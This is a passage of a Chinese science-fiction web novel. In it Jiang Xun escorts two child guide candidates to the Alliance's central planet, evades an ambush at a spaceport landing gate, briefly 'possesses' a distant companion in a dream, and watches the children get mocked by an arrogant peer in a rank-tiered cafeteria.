江寻皱起眉头，迟疑地凝视着对面那个越变越小的身影。 心中，忽然升起一个荒谬的念头——难道……是他？ 就在这短暂的对视间，两艘过去未来都截然不同的舰船，在这浩渺的星海中，完成了一次惊鸿一瞥的交错。 而后，希望号的尾部引擎一动，猛地爆发出一股耀眼的蓝色光流，舰首前方空间凹陷下去，一道裂缝凭空出现，在下一刻，瞬间撕裂了空间。 希望号一个加速，便一头扎进了通往中央星域的安全迁跃通道，消失在了一片幽蓝色的涟漪之中。 而另一头，镇魂号旗舰内，陆厌离眼睁睁地看着面前那艘小小的运输舰，被迁跃的蓝色光芒所吞噬，瞬间消失在了自己的视野里。 “江寻……” 他撑在舷窗上的手指缓缓收紧，按在冰冷玻璃上的指关节，因用力而泛白。一双明亮的翠色眼眸瞬间黯淡了下来。 狂喜如同浪潮般呼啸而来，又迅速消失，心头浮起一阵巨大的失落和无力感。 “江寻？” 全息通话仍没有挂断，屏幕那头的阿克塞尔看着陆厌离异常的模样，疑惑地询问，“你的那个小向导？” 陆厌离深吸一口气，压下沸腾的心绪，声音恢复了惯有的平静，眼神却还紧紧凝望着那艘星舰消失的方向。 话语里，除了万般的失落，还蕴含着一丝劫后余生的庆幸：“是！我看到他了！他还活着！他没事……就在路过我面前的一艘小型运输舰里，向着内部星域的方向迁跃走了！” “这么巧！”对面的阿克塞尔对于这个状况也意外极了，看了看投影这头陆厌离失落的样子，不习惯地努力寻找着安慰的话语： “内部星域都在联盟的控制范围内，他往这里走，至少生命安全是可以得到保证的！再说，这边都处于五大最高智脑的监控之下，只要他链接上了星网，便能立刻通过最高智脑，轻而易举地锁定他的位置！你不用太着急！” “你赶快处理完那边的烂摊子，就能立刻回来找他了！大不了，”阿克塞尔明显很少说这样的话，说着说着，面上的表情都古怪了起来，“大不了我先去帮你找找？反正我现在被停职了，空闲时间多得很！” 陆厌离沉默着，之前一心只想着确定江寻的安全，没有时间去考虑其他。此时看到他好好地出现在了自己面前，一想到要以人类的身份，真正地去面对他，在急切期待之余，心中竟又升起了一丝犹豫害怕。 眼中神色变幻一番，再次坚定了起来： “你说得对！但是不用你帮忙了，”他的声音里，带着一种掷地有声的决心，“我会很快结束这场战争，然后……亲自回去找他！” 陆厌离的目光再次投向那片空寂的星海，仿佛要穿透这无尽的空间，锁定那个深深刻在心里的人。 下一刻，全舰队最高指挥频道中，传来一个坚定的声音： “迁跃开启！全速前进！目标——M85号星系！” 随即，镇魂号巨大的舰体开始缓缓调整方向，尾部的六连引擎喷射口，开始亮起蓄能的艳红光芒。 整个庞大的联合舰队如同苏醒过来的钢铁巨兽，开始缓缓转向，舰队前方，广阔的黑暗空间之中，空间再次皱了起来。 随着熟悉的黑色深洞出现，撕裂空间的幽蓝光晕，再次浮现在舰身周围的能量护盾上。 整个舰队，以一个极静到极动的加速，瞬间撞入了那片幽深的黑洞之中，跃向那即将燃起战火的远方星域—— 作者有话说：二更来啦！是久违的陆猫猫！[让我康康] 第95章 另一头， 希望号在成功规避过舰队，跃入迁跃通道后，一直鸣响在整个客舱里的警报红光终于停了下来。整个舰船重新回到了自己的航线上， 向着通道的另一头飞速穿越而去。 空间穿梭特有的扭曲感令所有清醒着经历这一切的人， 感官不受控制地失控起来。 舷窗外掠过的光影扑朔迷离， 视野中的一切仿佛化为了大片大片的色块，像拙劣的颜料般混淆在了一起。 飞船仿佛在一瞬间如橡皮泥一样被捏成了软烂的模样，又在下一刻恢复成原形。 江寻尽力忽略这种强烈的不适感， 忍下涌上心头的呕吐感， 目光有些涣散地游移着。 心里开始思考其他的问题，转移自己的注意力。 刚才惊鸿一瞥之下，看到的那个人，让他的心绪浮动不休。 是他吗？在茫茫宇宙中相遇？不会这么巧吧？ 之前“附身”对方的时候，他的确看到过他身穿一身模样相似的军装制服，但是， 今天看到的那个人， 身上的穿着明显更加精致华丽一些。 那人能在如此庞大的联盟舰队中， 身处最中心的旗舰之中，身份之贵重不用多说， 怎么看也不像是独自一人病入膏肓，被抛弃在无人星球上的样子。 也许对方是被其他什么东西吸引到了目光， 自己只是恰巧在同一方向而已？ 自己乘坐的这艘小小星舰，与对方脚下的旗舰比起来， 简直是萤火比之于皓月，不可同日而语，可能对方连自己乘坐的这艘小小飞船都没有注意到呢？在这个距离上，自己都完全看不清对方的样子， 按理来说，对方应该也是差不多的吧？ 江寻在疑惑怀疑中，渐渐说服了自己，歇下了这个离谱的念头，但由此引出的心绪却久久不能平静。 时间倏忽而过，在纷纷扰扰的思绪中，希望号渐渐穿梭到了这一段轨道的终点。 前方，一个由不停攒动着的幽蓝光弧组成的圆圈，随着舰艇的临近在众人面前变得越来越大。 希望号丝毫没有减速，一头撞入了圆弧正中心，如同跃出水面的游鱼般奋力一跳，舷窗外扭曲的光流瞬间消散无踪，取而代之的，是一片足以让任何亲临者的灵魂都为之震颤的璀璨星海！ 中央星域！ 疆域庞大，横跨数十个星系的最强人类政体——联盟毋庸置疑的核心地带，人类文明的永恒灯塔！ 首先映入众人眼帘的，并非奇伟的星球星云，而是从希望号身边不停穿梭来去的无数形态各异的舰船！ 宇宙辽阔无垠，在他们前半段的旅程中，大部分时间里都是独自在航道上穿行的，只有遇到中继站时才会与其他往来的舰艇相遇。 而在这里，辽阔的墨蓝色星域，被满满当当不停运动着的钢铁洪流所占据。 从身材袖珍，几乎只能容一人乘坐的微型穿梭艇，到巍峨庞大的星际货轮；从排列整齐规格统一的舰队，到外表五花八门速度参差不齐的民用登陆舰。 无数运动着的舰艇，按照着某些规律，在他们自己的航道中川流不息。这无声的宇宙空间，都被衬得好像人声鼎沸了起来。 而这一切热闹的中心，便是视野远处一颗巨大的蓝色行星——中央星！ 距离中央星越近，周围便越发热闹起来。 宇宙空间中，各式各样的全息投影广告，星际灯塔的引导光束，空间站、船坞发出的柔和照明灯光，共同编织成一张覆盖了整个视野的光网，将深邃的星域点缀得繁华如梦。 无数巨大的形态各异的空间站，像透明的肥皂泡般的能量护盾、生态穹顶，在行星近地轨道不远处交织环绕，共同拱卫着最中心那颗散发着温和蓝白色光芒的巨大行星——中央星。 “哇——！” “天呐！快看那边！好漂亮！” “那就是中央星吗？好……好大！” 临近登陆，扎克和米娅早早就从休眠舱里爬了出来，重新换上了那身被熨帖地平整的预备向导制服。 从那颗美丽的星球出现在众人视野中开始，便挤到了观景窗前，两张小脸紧贴着冰冷的玻璃，不时因为某个奇异的景观，发出阵阵抑制不住的惊叹，眼睛瞪得溜圆，不停地叽叽喳喳讨论着，话语里充满了对未来的无限憧憬。 面前的是一颗体积远比江寻记忆中的地球大得多的行星，整体呈漂亮的蓝白色。一眼看去，整颗星球上80%以上的面积都是海洋。一层较厚的浅白色大气层，朦胧地笼罩着整个星球，让整个星球带上了一层梦幻般的色彩。 从江寻的角度看过去，一眼看不到成片的整块大陆。陆地呈现为几个超级巨大的群岛链，由曲折漫长的海岸线连接在一起。 一颗表面覆盖着各色彩色结晶的卫星环绕着它规律地转动着，更远处，是一颗散发着柔和橙黄色彩，光线柔和的巨大矮恒星。 到了中央星近前，往来的舰艇密度更大了起来，希望号也适时降下了速度，沿着划归出的航道，向着一座悬浮在近地轨道上的巨大空港空间站慢慢靠了过去。 眼见不远处那座看上去比一颗小型卫星还要庞大的空港越来越近，两个孩子的情绪明显更加兴奋了起来。 “哇！好大！好厉害！” “好多的船！好多的人！” 贫瘠的词汇，让两个孩子的惊叹声都充满了童稚。 “听说塔的总部也特别大呢！占据了一整块陆地！里面的各种训练场能模拟各种太空环境下的战场！会不会比这个空间站还要大啊？！” “那不是比自由城还要大？” “废话！那可是塔耶！当然比我们的自由城大多了！说不定比启明星还要大！” “真的吗？！” “那当然！全联盟的向导都会来到这里学习耶！听我爸爸说，这里不仅环境比咱们自由城好得多，还有好多给向导的福利呢！向导就是联盟里最厉害的最受人仰慕的职业！” “真的？！那我一定要成为最厉害的向导！” 两个孩子叽叽喳喳的议论声，充满了纯真的向往，驱散了舱内长途旅行带来的沉闷。 夏因曾经提起过的，在那个遗憾错失的未来中，最闪耀的地方——塔，也悄然在江寻的心中，勾勒出了一个模糊的轮廓。 一丝微弱的、连他自己都未察觉到的向往，在心底悄然滋生。 舰艇刚一驶入空港周围的空间中，舰上便收到了来自空港总控台的通讯信号。在通过了身份验证与入港登记之后，希望号便按照指引，穿过一层闪耀着晶莹炫光的生态穹顶，被牵引去了外侧的一处泊位上。 舰长将在这里停泊、补充燃料物资，等待随行人员将两个未成年小向导安全护送进塔的大门后，搭载着剩余的人员，重新回到自由城去。 江寻带着两个孩子，并几个陪同而来的亲长，带上了背包行李，开启了运输舰的大门。 刚一离开舱室，众人先是被外间的富氧空气冲击到了一波。 接着又适应了一下轻飘飘的脚步，这才随着人流慢慢走下了舷梯。 巨大的空港内部，灯火通明，银白黑灰的穹顶高耸入云，处处彰显着高科技的影子。各色舰艇飞梭起起落落，各种种族、身份的旅客们行色匆匆，智能机器人穿梭其间，人声嘈杂，一派繁忙而有序的景象。 不远处，三个身着白色制服的人影，在几人一落地时，便脚步匆匆地迎了上来。 “你们好！你们是从M85号星系选送过来的预备向导一行吧？我们是塔总部驻中央星空港临时接待人员！” 当先一人面上挂着和善的笑容，一眼看到站在众人中间的两个孩子，眼睛当即亮了起来。 “这两位就是这一次选送的两位预备向导了吧？一路上辛苦了！先随我们去临时接待处安顿下来吧！这一次预计会有从各个星系赶来的预备向导共三百多人，塔总部会在七天后统一派专人来接你们。在这之前，我们临时接待处会负责各位的衣食住行与人身安全的，请各位放心！” 话落，一辆悬浮接驳车便缓缓停靠在了几人身前。 众人见状，便从善如流地纷纷上了车，向着接待处提前准备好的住处行去。 坐在接驳车中向外看去，江寻一边欣赏着这难得一见的场景，一边观察着周围的环境人群。 这整个空港规模很大，他们落地的地方，应该是其中一个编号登陆口，整体的样子有点像地球时代的机场。而出了登陆口之后，周围的环境就更像是普通的居住区了。 也许是因为这里是整个联盟最繁华的星球，周围来往的人群中，大部分与他一般模样，但其中还掺杂着不少他从未见过的其他种族。 有多臂种族、多目种族，很多人形但外貌与自然人迥异的其他种族，甚至还有不少的非人种族。 两个孩子应该也从未真切的见识过这样的场景，一路上一直趴在车窗玻璃上，不住地向着接待员询问着，不时发出阵阵惊呼声。 江寻虽然没有亲眼见过，但在最早的“别墅”里居住的时候，也通过全息舱看到过不少图像资料，此时倒是没有表现地太过惊奇。这样镇定的反应，还引得领头的接待员瞟来不少目光。 一路驶过，江寻还发现了一个有趣的现象。 也许是这辆接驳车上有着什么独特的标志，遇上了他们的其他车辆行人，都对他们一行表现出了尊敬的态度。行驶在路上的时候，他们也有专用的车道。在如此繁忙拥挤的地方，他们一路驶来竟是畅通无阻，很快就离开登陆口，驶入了正常道路上。 这个现象，让江寻对塔在联盟中的超然地位，又有了更深的印象。 又行驶了二十分钟左右，接驳车才在一处环境优雅的地段停了下来。 接待员一边为众人介绍着住处，一边当先带着人顺着步道向区域内部走去。 根据他的介绍，这片区域被称为晨曦回廊，是联盟专门划分出来，拨款建筑维护的，专为每年抵达中央星的预备小向导们做临时住所之用的住宅区。 整片区域外部有严格的安保措施，所有入住人员凭发放到手里的临时芯片出入。入住期间，所有的必要花费均由联盟专门拨款负责。 小区里遍布经过精心修剪的生态植物与充满艺术感的悬浮雕塑，环境优雅宁静。中心区域，还配备有各种功能齐全的功能性建筑，与供应各种必需品的自助商店。 一番观察下来，着实让江寻大开了眼界。 三位接待员态度热情地领着众人，安顿在了其中一间二层临街别墅中，留下通行芯片与联络方式、注意手册之后，便礼貌地告辞离去了。 在星舰上渡过了很长一段旅程的众人，也纷纷安下心来，洗漱安置了。 第二天一早，江寻早早起身，给众人打了个招呼，便独自离开了小区，向着他曾经拿到的那个地址赶去。 中央星第九空港22号登陆口。 江寻在心底默念这个地址，他提前与自由城城主确定了，降落在九号空港，这是小树留给自己的唯一信息。能不能得到下一步的行动线索，便在这里了。 乘坐上公共接驳车，江寻一路寻着地址找了过去。 他们落地的地方，是9号登陆口，在路上走了半小时左右，江寻才在22号登陆口门口处下了车。 可到了此地之后，他并没有贸然靠近过去，而是在出口附近一家视野开阔的饮品店里坐下，点了一杯最普通的饮品，如同一个普通的旅人一般，不动声色地向内观察着。 没过多久，江寻就发现了一些不寻常的迹象。 明明同样是登陆口，22号登陆口内部，却明显相较于他们之前的9号登陆口显得冷清得多。 此时虽然是早晨，但绝非理论上空港的绝对低谷时段。肉眼所及之处，不远处的21号与23号登陆口上方，还能看到众多穿梭艇起降的流光，唯独面前的这个22号登陆口，像是被什么无形的网过滤过，舰艇人影稀疏得过分。 几个穿着深灰色工装，看似在维护通道机器人的技工，动作显得有些漫不经心地在宽阔的登陆口中来回游荡着。 他们的目光没有一直专注在手边的机器上，反而像探照灯一样，一遍遍扫视着从着陆的舰艇上下来的每一个人，尤其是在那些独自行动的男性身上，停留的时间格外长。 他们彼此间几乎没有交流，站位却隐隐卡住了几个关键的视野点和通道口。不时还注视向彼此，手部微动，打出一些不太引人注目的手势。 比这些人更显眼的，是在登陆口内部通道的阴影处，倚靠着金属墙壁站着的两个男人。 他们一高一矮，均穿着便服，但站姿笔挺，与周围身形放松的旅客们格格不入。 其中高的那个身材十分魁梧，双手环抱着，锐利的眼神毫不掩饰地穿透玻璃幕墙，扫视着整片外部区域，包括江寻所在的饮品店方向。 另一个矮个的稍显精瘦，正低着头，对着扣在手腕上的微型终端低声说着什么，嘴唇翕动的频率很快，像是在汇报或接收指令。 两人的存在感很强，直直立在阴影之中，像是两只位于生物链顶层的捕食者，在搜寻着自己的猎物。沉沉的气氛，让那片区域的空气都凝滞了几分。 江寻侧过身去，小心不让自己被他们注意到，端起手中的果汁，微微抿了一口，压下心头的一丝细微波动。 不对劲，太不对了，这根本不是接人的架势，更像是埋伏、蹲守、绑架。 酸涩的味道在舌尖蔓延开来，江寻隐下眼中的幽光，目光透过杯沿，牢牢锁定登陆口内部。 大约半小时后，一辆小型悬浮车悄无声息地滑入登陆口，停在了那两人附近。车门打开，又有两个装束相似的人走下了车。 两人下车之后，目光如鹰隼般快速在整个登陆口中巡视了一圈，才快步走到了之前两人附近，低声交谈起来。 江寻眯起眼睛，从他的角度，刚好能完全看到其中一人的正脸，他努力辨认着对方的口型，捕捉着信息： 男人……近期访客……年轻……江寻？！ 江寻心中一惊，再次确定了一下对方的嘴型，确认自己没有看错！ 对方知道自己可能会在这里降落，他们在找的人就是他！ 江寻的心猛地一沉！ 来者不善！而且是明确冲着他来的！ 再联想到当初他们在无人星球上所遇到的突袭，江寻几乎可以确定，面前的这波人，与当时的那帮人很可能是一伙的！ 而且，他们知道的信息太多了，这隐藏在背后的人，很可能就是小树的身边人！ 江寻心下冰冷，不仅是为了此时自己正在面对的危险，更多的是对失去了踪影的小树的担忧。 这些人可以堂而皇之地拿到这个地址，在这里等着他自投罗网，那小树如今的处境还好吗？ 江寻心中不禁浮起担忧。 思绪随着他的思考飘飞了片刻，等他再回过神来之时，登陆口中的四人已经完成了交接，后来的两人代替了原先两人的位置，重新靠上了墙壁，而之前的两人坐上悬浮车，正向着他这边的出口处缓缓行驶过来。 江寻的目光垂落下去，掩去眸中翻涌的警惕与寒光。这里看来是拿不到更进一步的线索了，不能再待下去了，他必须马上离开！ 江寻缓缓放下杯子，杯底与桌面碰触，发出一声几不可闻的轻响。 他站起身来，动作自然地像是只是去续杯或者去洗手间。 目光在转身的间隙，随意地掠过悬浮车驶来的方向，脚步却精准地转向饮品店深处，朝着连接空港内部商业区的另一条人流较多的通道口走去。 步伐不疾不徐，每一步都踏得平稳，心脏却在胸腔里砰砰地剧烈跳动着。 就在他即将融入后方通道口的人流中时，眼角的余光似乎捕捉到坐在车里的那个魁梧男人，锐利的视线再次扫过了饮品店，短暂地在他刚刚坐过的位置停留了一瞬。 随后低下头来，急促地对着通讯器说了一句什么。 紧接着，悬浮车的速度一下子提升了起来，还未在饮品店旁边停稳，之前的两个男人便急匆匆地从上面走了下来。 江寻缩了缩脖子，让身形看上去更加矮小一些，没有回头，脚下的步伐却更快了一分，一绕一拐，便行到了通道拐角处闪烁的霓虹灯牌后面。 身后的人声似乎更大了些，他能感受到，连背后的空气仿佛都灼热了起来。 适时，一辆公共接驳车在街道另一端停了下来。 江寻把自身隐入搭乘接驳车的客流中，悄无声息地登上了车子，将隐隐喧闹起来的登陆口甩在了身后。 再未在外间停留，江寻搭上了车离开之后，又辗转倒了几次，确认没有人跟踪自己之后，才重新回到了晨曦回廊。 晚上，躺在临时住所的床上，江寻心中纷乱。 伴着深重的寒意，无数烦恼涌上了心头。 在秩序混乱的自由城中，他要始终隐瞒着向导的身份不能被人发现，还要时时防范着血狼帮的攻击，可以说是天天都在刀尖上跳舞。 他本以为到了中央星，联盟最核心的繁华腹地，可以稍稍轻松一些。却没想到，这里隐藏着的暗流却似乎比之前更加危险与难以捉摸。 如今，他不仅失去了往下走的线索，连小树如今的真实处境都无法确定。 他就像跌入了湍急河流中的渺小蝼蚁，失去了方向亦无法自控，不知下一秒便会被这股暗流冲刷到哪个陷阱里。 他开始前所未有地思念起了小树。 伴着这股强烈的思念，江寻一点一点坠入了梦乡之中。 灵性在不为人知的梦境中，向着远方招了招手，下一刻，梦中的江寻脚下一空，意识就如同被一只无形的大手拖拽着，坠入了一片奇异之中—— 作者有话说：新地图，新气象！[加油] 第96章 “呃——！” 刚刚恢复了知觉， 还没完全醒过来睁开眼睛，便首先感受到了胳膊上传来的痛感。 疼痛的刺激，让江寻的意识立马清醒了过来， “睁”开了眼睛。 面前， 是一个通体金属材料的大型房间， 房间内部，摆满了各种各样的训练器械，而他的身体， 现在正自主活动着， 绕着一具高大的金属机器人前后缠斗。 这是…… 江寻一楞之后，马上反应了过来，他又“附身”了，这是小树的身体！ 他在战斗？不，好像是训练。 稍稍观察了一下环境，江寻便明白了过来。 不过……感受着拳头上手臂上， 不停传来的疼痛感， 江寻呲牙呻吟了一声。 这“附身”， 也太真实了，怎么连小树身上的感觉也一分不差地让他接收到了。啧！直接用肉臂去打金属， 这也太疼了！他都没感觉的吗？ 江寻无法，只得忍着一波一波从对面传送过来的疼痛感， 等待着对方结束训练。 幸好的是，这种折磨， 只持续了不到十分钟就停了下来。 在这十分钟里，江寻在忍耐着疼痛之余，好好观察了一番这间房间。 通体银白，有门无窗， 风格冷硬，没有一点儿个人风格。这样的环境，让他感觉有点熟悉，稍稍回忆了一下，便马上认了出来。 这应该是一艘星舰上的舱室，而且看着这舱室的面积，这艘星舰看起来规模还不小。 小树现在在一艘星舰上，人身看起来是自由的，除了和金属机器人对打所带来的疼痛之外，他也没在他的身上感受到其他的创伤，看来他现在是安全的。 江寻松了口气，从今天发现自己被埋伏之后，就产生的担忧，慢慢消散了开来，其他的念头这才浮上了心头。 这已经是他第三次“附身”了，可这种“链接”建立的条件到底是什么，他到现在还没有完全搞清楚。 也还没确定这种“附身”到底是什么，是不是之前和夏因讨论过的，一种“刻印”技能？ 不过从这几次的情况来看，这种能力，似乎是他单方面的，被附身的小树似乎并不知道他的存在。 思考间，那头的小树已经喘息着停下了动作，背靠着墙壁坐了下来，滴滴汗水顺着脖颈滑落下去，隐没在领口之中。 拳头上传来阵阵刺痛，江寻这才发现，他搭在膝盖的手背上，已经因为刚才的打击染上了斑斑血迹。 这……江寻的眉头皱了起来，他不知道自己现在接收到的感觉信息，占了真实感觉的几分，但只是如今的程度，就已经感觉很痛了。能把手打成这样，他在这里打了多久了？他为什么要做这种事？ 江寻又是不解又是气恼，却无能为力。 只得暂时按捺下心中的不虞，继续看下去。 如今22号登陆口那边的线索断了，他现在只希望能从这种附身中得到一些新的线索，不论是他的外貌还是名字、位置都可以，否则他实在不知道下一步该怎么去寻找了。 男人的喘息声在空荡荡的房间里回荡着，声音渐渐平复下来。 又坐了一会儿，小树似乎是休息够了，扯下搭在旁边的一条毛巾站了起来。 他要出去了？ 江寻精神一振，认真看了起来，却见对方没有朝外走，而是一边用毛巾擦着汗，一边单手一压，打开了房间侧面的一扇小门走了进去。 灯光一亮，里间的模样在江寻面前展现了出来。 这是……浴室？ 江寻刚看清面前的小房间，便见对方的一双臂膀交叉着抓住了紧贴在腹部的衣襟，紧接着反手上拉，视野一黑一亮，上衣便被他脱了下来。 江寻一惊，一下子反应了过来对方要做什么，心中一慌，下一刻，面前的景象突变朦胧，后脖颈一紧，一股拖拽的力道袭来…… 这边厢，静谧的房间中，床上的男人原本正睡得好好的，突然，空气中一阵无形波动，下一刻，男人眼睛猛地睁开，一下子从床上坐了起来。 江寻眼睛有点发直，坐在那里愣了半晌，这才反应了过来，面上一瞬便飞红了起来。 脑子里不由自主地不停浮现，刚才惊鸿一瞥之下看到的赤裸胸膛。那显得有些苍白，却十分光滑柔韧的皮肤；那密布着汗水，还在微微起伏着的胸肌；那修长的手指，薄薄的腹肌；还有回荡在耳边的低沉喘息。 有些不自在地使劲拍了拍脸庞，收拢下心神，让那副画面从心中淡去。江寻不禁在心中暗骂了自己一声。 又不是没见过男人的身体，他有的自己不都有吗？怎么就一下子被吓到匆匆醒了过来！ 好不容易再一次附身，这次又是什么线索都没看到。 郁闷地叹了口气，江寻头一仰，重新倒了下去。 算了，能确认他如今的处境也算是件好事，起码自己暂时不用为他的生命安全担心了。 放心下来，江寻的脑子又重新运转了起来。 如今22号登陆口那边拿不到线索了。要找到新的线索，看来要靠这个现在还没搞清楚的“附身”技能了。 他得尽快想办法搞清楚这个技能是什么，又是以什么方式运转的。只靠它这么时灵时不灵地被动运行，要找到线索不知道要多久之后了，他需要再次提升一下自己，掌握住这个技能的主动权。 还有……江寻的脑子想到下午时的情形。 江寻这个本名，暂时不能用了，要留在中央星里找人，他需要重新为自己找个身份。 想着想着，江寻的目光向着床头看去。 床头的矮柜上，一张薄薄的金属芯片冷冷清清地躺在那里。 * 次日，天边刚刚亮起微光，江寻便被两个兴奋的孩子拖着，走出了别墅大门。 昨天他们旅途劳顿，早早便歇了下来，今天重新恢复了精神，便再也抑制不住对新环境的好奇，一大早便央着江寻带他们出了门。 昨天来的时候江寻就观察过这一片区域的建筑规划，带着他们顺着门口的环形步道走了不到十分钟，就来到了被一片住宅区环绕在中间的功能区域。 虽然现在的时间还早，但这里也已经汇聚了不少人，打眼一看，都是带着些稚气的面庞。 乍见这么多陌生的面孔，就算看起来都是自己的同龄人，米娅仍有些害羞，一直躲在江寻身后，只露出半个脑袋出去观察。扎克却已经两眼放光地左看右看了起来。 江寻的感受却比跟在他身边的两个孩子更加强烈。 一踏入这片区域，他便敏锐地察觉到了漫布在这里的无数或大或小的精神力波动。 成熟的向导，精神力都会自然而然地收敛起来，除非外放出去主动使用技能，否则连同为向导的人也不一定能辨认出来。 但这种规则在这些未成年向导预备役身上却行不通，他们几乎都是在各自的星球上刚刚觉醒过来的，还不会控制自己的精神力。 日常行动间就会不自觉地逸散出力量来。特别是在这种许多人聚集的场所，精神力被他人混乱的力场影响着，便更加不受控制了起来。 江寻没有说话，行进的速度却更快了些，过于混乱的精神力波动，接触的时间长了，可能会对身边的两个孩子产生影响，他不打算在这里多做停留，买一些必须的日用品和食物，吃个早餐，他便打算带两个孩子回去了。 他们没什么特别的反应，可周围的其他人对他们的出现却分明有些在意。看到他们路过，纷纷交头接耳起来。 这种在意，等到他们走进了餐厅时，终于化为了实际的动作。 江寻刚带着两个孩子在一台餐桌前坐下，便有两个一高一矮的男孩，联袂走了过来。 “你们好呀！你们是昨天刚到的预备向导吧？我们是里奥和莱昂，来自M72星系。” 个子比较小的男孩看着年纪比较大一些，胆子也更大一些，一走进便主动介绍道。 扎克扭头看了看江寻，见他并不反对的样子，也站起身来，介绍起来：“你们好！我们是扎克和米娅，”他一边说着一边指了指窝在江寻另一边的米娅，“我们是昨天刚从M85星系过来的。” “哈哈！果然是这样！”名叫里奥的男孩一点儿也不见外，拉着另一人便在他们对面的空座上坐了下来。 “你们也是在这里等着六天后入塔的吧？”里奥自来熟地说道，“我们是这一批里面最早来的，这个小区里住着的人我全都见过了，今天一看你们的生面孔，就知道又有新朋友来了！” 第一次脱离了父母，自己做主的交际，似乎也让扎克十分兴奋，眼见来人态度热情，他也不自觉地和对方亲热了起来：“是啊是啊，你们也是等着六天后入塔的吗？” “哈哈，岂止是我们，”里奥双手一伸，向左右两侧划出两个半圆，“这里所有的人，都是要一起入塔的啊！”—— 作者有话说：一更来啦[让我康康] 第97章 “所有人？！”扎克和米娅同时睁大了眼睛， 震惊地看向周围。 半晌才恍悟了过来，对啊！这片区域本来就是专门用来安置他们这些提前到达的预备向导的临时接待处，周围的人当然和他一样， 都是在这里等待入塔的预备向导了！ 虽然昨天在接待员的口中听过这一次的预备向导一共有三百多人， 可直到此时， 看到了周围熙熙攘攘的人群，两个孩子这才对三百多人这个数字有了实感。 “这里的所有人都是预备向导吗？” “当然，我们都会成为同一期的学员哦！” “这么多人， 都是向导吗？” 扎克再次环顾四周， 看了看或远或近，三三两两聚在一起的人们，从离开自由城开始，便一直处于兴奋状态的心情，忽然有些冷了下来。 江寻看出了这孩子的心理。 在自由城那样的偏远星球里，向导自然是很少见的。偶尔出现一个， 若是自身没有什么背景， 马上便会被各方势力大张旗鼓地抢夺。 可这里是中央星， 这里的孩子们都是从联盟辽阔的疆域中一个个挑选出来，汇聚在这里的。 他们每一个都可以说是得天独厚的天之骄子。 他很快便会发现， 自己身上以往所以为的优越，在这里会变得不值一提。 这里多的是比他们潜力更高， 背景更强，运气更好， 更加优秀努力的人。 这还只是没入塔时，与他的同期同学们比较。等他们入了塔，入了军部，入了社会， 到时候他会发现，随着环境的改变，他将要面临的压力会一层重过一层。 他必须要尽快接受这个事实，这是他必须要去面对的，否则，他自身便没有变得更强的可能性。 没有多说什么，江寻拍了拍扎克的头顶，希望他尽快适应下来。 带着两个孩子先去了点餐口，为几人挑选早餐。 这个餐厅的饭食没有单点的，全部都是套餐。 也不知为什么，明明这里所有的消费都由联盟全包了，这里的套餐还从上到下分了好多个等级。江寻看了看，每个等级的套餐中所包含的单品，差异也非常明显。 顶级的S级套餐里，有着许多江寻听也没有听过的珍贵食材，而最低级的E级套餐里，就只有一碗白粥一个水煮蛋。 看到这内容迥异的不同套餐，江寻心中动了动。 扎克却丝毫没注意到江寻的停顿，一眼看到菜单上的套餐介绍，刚才还有些低落的心情，瞬间又高涨了起来：“哇！这是不是星斑鳐鱼？！城主大人第一次接见我们的时候，宴席上就有一道星斑鳐鱼鱼子酱，不过我爸爸说不能在城主面前失礼，所以那时候我们都不敢吃！是不是米娅？” 扎克一边说着还一边寻求着小伙伴的支持。 米娅双手扒着前台，只有两只眼睛能露出来，看向桌上的菜单，但听到小伙伴的话还是很给面子的连连点头。 “这么珍贵的食材才是C级套餐呀？”扎克看着菜单的眼睛闪闪发光，“那A级S级的套餐，有多厉害呀？米娅，我们今天就吃这个最厉害的S级套餐试试吧？” 话落，也不等米娅表态，扎克便想喊厨师过来点餐。 听到扎克的话，江寻的心里更确定了一些事情，忙在扎克说话之前，拦下了他，“等等，扎克……” 江寻的话还没说完，便被一旁远远传来的另外一道声音打断了。 “S级套餐？哈哈~~我听到了什么？！你以为你是谁啊？就凭你，也配吃S级的套餐？” 几人循声扭头望去，便见餐厅大门一动，走进一队年轻的孩子。 来者一共约有7、8人。当中一个，年约十四五的样子，一头淡金色的头发向后梳去，下巴微微扬起，露出一张倨傲面庞。 而说话的人，看着比中间的男孩年龄大上那么一两岁，面目普通，眼中却充满了嘲弄。走在这支队伍的最前面，一边大声嘲笑着，一边伸出手指遥遥点向江寻几人。 “你是谁啊你！我要吃什么你管得着吗？”来人不客气的态度让扎克愤怒极了，脸涨得通红。 他从小就是家中幺子，家里在自由城中也算薄有家资，几个月前还觉醒了稀有的向导天赋，身边的人对他从来只有宠着顺着的，哪见过这样当面嘲笑他的？ “呵！小朋友，你向导潜力等级是多少？”来人一脸戏谑。 扎克已经感觉到了一些不对，却还是硬着头皮顶道：“D级！怎么了？” “D级？！哈哈哈哈哈！大家快来看看，他一个D级的不入流货色，居然敢点S级套餐啊！”一听扎克的回答，男孩嘲笑的声音更大了，一边大声叫嚷着，还一边向着周围人招着手，吸引着餐厅里所有人的注意。 “你在说什么？我D级和我要点什么套餐有什么关系？这里有规定什么人才能点S级套餐么？”扎克不甘示弱地反驳道。 “呵，的确没人规定，但这还是需要别人告诉你的事吗？蠢货！餐厅既然都按等级分了套餐，当然就是让我们按等级点餐的意思！我们雷克斯老大都只是点B级套餐耶！”男孩表情夸张，说起话来还要配上手舞足蹈的动作，瞬间吸引了餐厅里一大半人的目光。 “你！”感受到周围人扎在身上的目光，扎克瞬间面红耳赤，心里却因为周围人丝毫不加掩饰的目光，虚了一下，想说的话一下子梗在了喉头。 “好了，艾伦，别跟这些犄角旮旯里出来的人浪费时间！快点餐！”站在中间的雷克斯此时也发了话，看也没看江寻三人，当先便带着人坐到了餐厅中央最大的一张餐桌上。 不知为什么，他的话语明明不像那个最开始说话的艾伦那样嘲弄，扎克却感受到了更彻底的鄙薄，似乎自己在他的眼中根本就不存在，连一个眼神都吝啬于放在他身上。 而这样的态度，也让扎克的心情更加愤怒了起来。 他一个抢身，一步便跨到了那个艾伦前面，对着闻声而来的厨师便喊道：“我要S级套餐！现在就给我刷卡！” 一边说着，一边高高举起了手中的通行芯片。 谁知，那厨师只是向他瞟了一眼，便凉凉开口：“不好意思，S级套餐需要提前预约，现在没有。” “你！”扎克的脸瞬间涨红，愤怒地瞪向了厨师。 听到两人的对话，艾伦马上不客气地哈哈大笑了起来，餐厅里一直在围观着这场冲突的人群，也哄堂大笑起来。 艾伦丝毫不管扎克的神情，一把便把他推到了一边，上前一步，大声对着厨师喊道：“给我们点餐，还是老样子，一个B级套餐，三个C级套餐，还有四个D级的！” 对着艾伦，那厨师马上便变了脸色，笑容露出，一迭声地应下，转身便忙活了起来，再不去理扎克三人。 